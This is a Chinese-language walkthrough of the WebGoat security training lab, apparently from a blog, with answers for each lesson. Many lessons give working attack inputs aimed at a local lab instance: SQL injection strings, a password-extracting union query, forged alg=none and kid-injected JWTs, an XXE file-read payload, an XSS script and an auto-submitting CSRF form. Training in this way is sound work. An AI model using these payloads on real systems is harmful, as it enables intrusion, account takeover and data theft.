WebGoat通关教程
这里我们用docker镜像一键搭建即可
用docker命令开启webgoat
docker run -d -p 8081:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf
打开192.168.109.131:8081/WebGoat和192.168.109.131:9090/WebWolf能打开即可
192.168.109.131是本地IP
直接注册一个账号,登录即可,两个页面账号是相同的
我们先设置下抓包配置
然后这两个包会一直发送,我们把它屏蔽掉
HTTP Basecs3
我们输入POST和数字,抓包
我们发现我们输入的数字是magic_answer,而magic_num估计是答案了,我们把数字123修改成17放包即可
HTTP Proxies4
我们检查元素在控制台中输入webgoat.customjs.phoneHome()会看到一串数字,输入进去即可,456046147
把POST修改成GET、添加x-request-intercepted:true,再把最下面一行删除即可
HTTP Proxies6
打开检查元素再go查看网络中的参数看到了一串数字输入进去即可
CIA Triad5
答案是3、1、4、2
把这串base64位解密即可获取账号密码
Crypoto Basics4
直接拿去破解即可
SQL Injection(intro)2
我们搜索Bob的first_name即可搜索到Bob所在的部门了
select department from employees where first_name='Bob';
SQL Injection(intro)3
我们从上一关看到了Tobi的first_name,使用直接构造语句修改即可
update employees set department='Sales' where first_name='Tobi';
SQL Injection(intro)4
alter table employees add column phone varchar(20);
SQL Injection(intro)5
grant alter table to UnauthorizedUser
SQL Injection(intro)9
‘、or、’1’=’1
闭合前面,再让后面的语句构成or ‘1’=’1’即可
SQL Injection(intro)10
根据上面的sql语句构造下,由于没有单引号包裹,使用不用单引号闭合,直接给出or 1=1即可
SQL Injection(intro)11
根据sql语句,可以看到用单引号包裹了,这里闭合掉再加上我们的’or 1=1 -- -
后面再注释掉即可
SQL Injection(intro)12
我们要修改金额,直接闭合然后构造语句再把后面注释掉,从而让我们的金额成为最多
'; update employees set salary=9999999 where last_name='Smith';-- -
SQL Injection(intro)13
直接构造删除表语句即可
SQLInjection(advanced)3
先闭合or 1=1遍历再查询dave的密码
'or 1=1 union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'--
SQLInjection(advanced)5
账号tom 密码thisisasecretfortomonly
SQLInjection(advanced)6
答案4、3、2、3、4
SQL Injection (mitigation)6
代码块
try{Connection ct = null;ct=DriverManager.getConnection(DBURL,DBUSER,DBPW);PreparedStatement ps=ct.prepareStatement("select * from users where name=?");ps.setString(1,"1");ResultSet rs=ps.executeQuery(); } catch(Exception e){System.out.println("123");}
SQL Injection (mitigation)10
爆破可知104.130.219.202
Broken Authentication
Authentication Bypasses
抓包把这两个数字修改成4,3即可
JWT tokens3
先点击垃圾桶,然后抓包,会看到access_token的值我们用base64解密下
修改成alg位none、admin为true再加密替换即可
ewogICJhbGciOiAibm9uZSIKfQewogICJpYXQiOiAxNTg0MTY2NTI0LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTg0MTY2NTI0LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
JWT tokens8
先点击delete抓包,然后把token拿到https://jwt.io/#debugger那里修改
把kid修改成' union select 'YXhpbg==' from jwt_keys where id='webgoat_key
把username修改成Tom再把payload修改成axin再把左边的复制给burpsuite最后放包即可
Password reset4
这里直接用爆破得出是green
Password reset5
看两个即可
Insecure Login2
直接用burpsuite抓包即可
我们抓包把最下面换成
<?xml version="1.0"?><!DOCTYPE my [<!ENTITY root SYSTEM "file:///">]><comment><text>&root;</text></comment>
即可
内容还是修改上一关一样,Content-Type修改成application/xml即可
Insecure Direct Object References2
直接用tom和cat登录即可
Insecure Direct Object References3
检查元素中有个profile包查看响应会看到一些属性没有的就是role、userId了
输入role,userId即可
Insecure Direct Object References4
上一关包里已经说了有个Id为2342384的用户了
输入WebGoat/IDOR/profile/2342384即可
Insecure Direct Object References5
把包7BuserId修改成2342388即可
Missing Function Level Access Control2
找到隐藏的信息即可
Missing Function Level Access Control3
根据上一关知道的users路径我们访问一下再把content-type修改成 application/json即可获取hash来通关下一关XrEegsBjm6AGpHjw+HOvSVXifKbsyzqz63Nx9TTDrzQ=
Cross Site Scripting7
当我们点击UpdateCart的时候会输出我们的卡号,直接输入我们的xss语句即可
<script>alert(/xss/);</script>
Cross Site Scripting10
输入start.mvc#test/即可
Cross Site Scripting11
根据上一题的构造url
http://192.168.109.131:8081/WebGoat/start.mvc#test/webgoat.customjs.phoneHome()访问
可以看到一条语句,我们检查元素在控制台中输入webgoat.customjs.phoneHome()看到回显就是答案了提交即可
Cross Site Scripting12
答案是4、3、1、2、4
Cross-Site Request Forgeries3
先提交数据,抓包,生成poc,用浏览器测试,复制到url中,点击即可
Cross-Site Request Forgeries4
方法和上一关一模一样
Cross-Site Request Forgeries4
自己在本地搭建个html访问即可
<form name="attack" enctype="text/plain" action="http://192.168.109.131:8081/WebGoat/csrf/feedback/message" METHOD="POST"><input type="hidden" name='{"name": "Testf", "email": "teddst1233@163.com", "subject": "service", "message":"' value='dsaffd"}'></form><script>document.attack.submit();</script>
Cross-Site Request Forgeries8
这一题按照题目要求,注册个csrf-开头的用户,比如我的用户名为tntaxin,然后我再注册一个csrf-tntaxin,然后登录csrf-tntaxin访问这道题目,点击solved就过了,当然这题的真实目的是希望你构建一个csrf 恶意链接,然后访问这个链接就会自动登录csrf-tntaxin这个账户,这样受害者的访问记录你就都知道了。
Server-Side Request Forgery2
抓包把image改成images%2Fjerry.png即可
Server-Side Request Forgery3
同样抓包,就是把url换成http://ifconfig.pro即可
Bypass front-end restrictions2
把参数简单修改下即可
Bypass front-end restrictions3
简单抓包加些字母,绕过前端即可
Client side filtering2
检查元素发现有个Bartholomew用户的信息,看到了工资是450000,输入即可
Client side filtering3
点击Buy,抓包发送会看到code,正确的Code是get_it_for_free输入即可
HTML tampering2
我们把数字增多,以最低的价格买最多的家具
Admin lost password2
这个是要爆破的,密码是:!!webgoat_admin_1234!!
再把flag提交上去
Without password1
用任意密码通过即可
1' or 1=1 -- -
Without account1
我们直接评价抓包,把请求改成HEAD,就看到了flag,我们复制提交上去即可
WebGoat通关教程相关推荐
- WebGoat 8.1 靶场 刷题通关教程全攻略 - (A1) Injection
WebGoat 8.1 靶场 刷题通关教程全攻略 - A1 Injection (A1) Injection SQL Injection (intro) 2. It is your turn! 3. ...
- pikachu通关教程
pikachu通关教程(暴力破解和xss) 1.暴力破解 基于表单的暴力破解 1.最简单的暴力破解没有验证码不需要绕过,直接进行抓包. 直接找到一组账号和密码 验证码绕过(on server) 先进行 ...
- Cheat Engine游戏脚本修改器通关教程(脑残版Step9)
文章目录 Step 9 方法一 方法二 Step1 - Step8 通关教程地址(该教程写在2017年9月2日,现在疫情宅在家,补完后续教程):https://cylycgs.blog.csdn.ne ...
- 视频教程-信息系统项目管理师-通关教程4-软考
信息系统项目管理师-通关教程4 微信企业号星级会员.10多年软件从业经历,国家级软件项目负责人,主要从事软件研发.软件企业员工技能培训.已经取得计算机技术与软件资格考试(软考)--"信息系统 ...
- Upload-Labs靶场 1-21全通关教程
Upload-Labs通关 靶场介绍 安装 文件上传漏洞介绍 BurpSuite的简单使用 安装BurpSuite 配合Firefox使用 万能WebShell 正文开始 Pass-01 Pass-0 ...
- XSS Game通关教程
12.XSS Game通关教程 1.Ma Spaghet! 审查源码 一个不安全的方式,直接get传输somebody 输入123看看位置 ?somebody=123 如下 用下input标签即可 & ...
- WebGoat通关攻略与详细解析——SQL Injection(intro)篇
写在前面: 目前WebGoat通关攻略与详细解析处于持续更新中,若大家在阅读的过程中发现什么问题或者有什么建议,都可以在发布在评论区或私信我,我们一起共同探讨! 由于所有通关攻略写在一起导致篇幅太长, ...
- Sqli-labs全通关教程(手工注入+工具使用sqlmap)
提示:手工注入就不写了,发现有很多了,质量也还可以,今天就写个sqlmap通关教程吧 文章目录 前言 一.sqli-labs1-10(get型) 二.sqli-labs 11-16(post型基础注入 ...
- 独孤九剑xss通关教程
独孤九剑xss通关教程 独孤九剑第一式: 这里过滤了 =() 构造payload: ?data="><svg><script>%26%23x65%3B%26%2 ...
最新文章
- python打印换行符_Python换行符以及如何在不使用换行符的情况下进行Python打印
- android中仿qq最新版抽屉,Android实现3种侧滑效果(仿qq侧滑、抽屉侧滑、普通侧滑)...
- python读取txt数据-Python读取txt数据文件,并作图
- 实战SSM_O2O商铺_13【商铺注册】View层之初始化页面数据
- mysql可变数据类型_【Python面试】 说说Python可变与不可变数据类型?
- 优秀Python学习资源收集汇总
- css怎么设置数字的字体格式,css设置字母数字字体库信息
- 线性同余法产生1000个随机数
- 数据库的内连接和外连接的区别
- 电机控制基础之坐标变换(Clark变换及反变换 + Park变换及反变换 + 推导 + 仿真)
- 顶级域名、一级域名、二级域名、子页面
- 【笔记】软件测试04——MySQL
- UTONMOS:元宇宙链游之风、燎原之势
- 华芯飞CC1600到底由谁设计?
- 三个角度细谈:如何发挥朋友圈广告的威力
- 【运维 | Docker】服务器备份数据库到电脑
- 安全威胁分类STRIDE
- 虚拟试戴用时尚拉近了粉丝和剧中人的距离
- 03 - 滤波器组典型相关分析(Filter bank canonical correlation analysis,fbcca)
- 基于优化的多核局部费舍尔判别分析的故障分类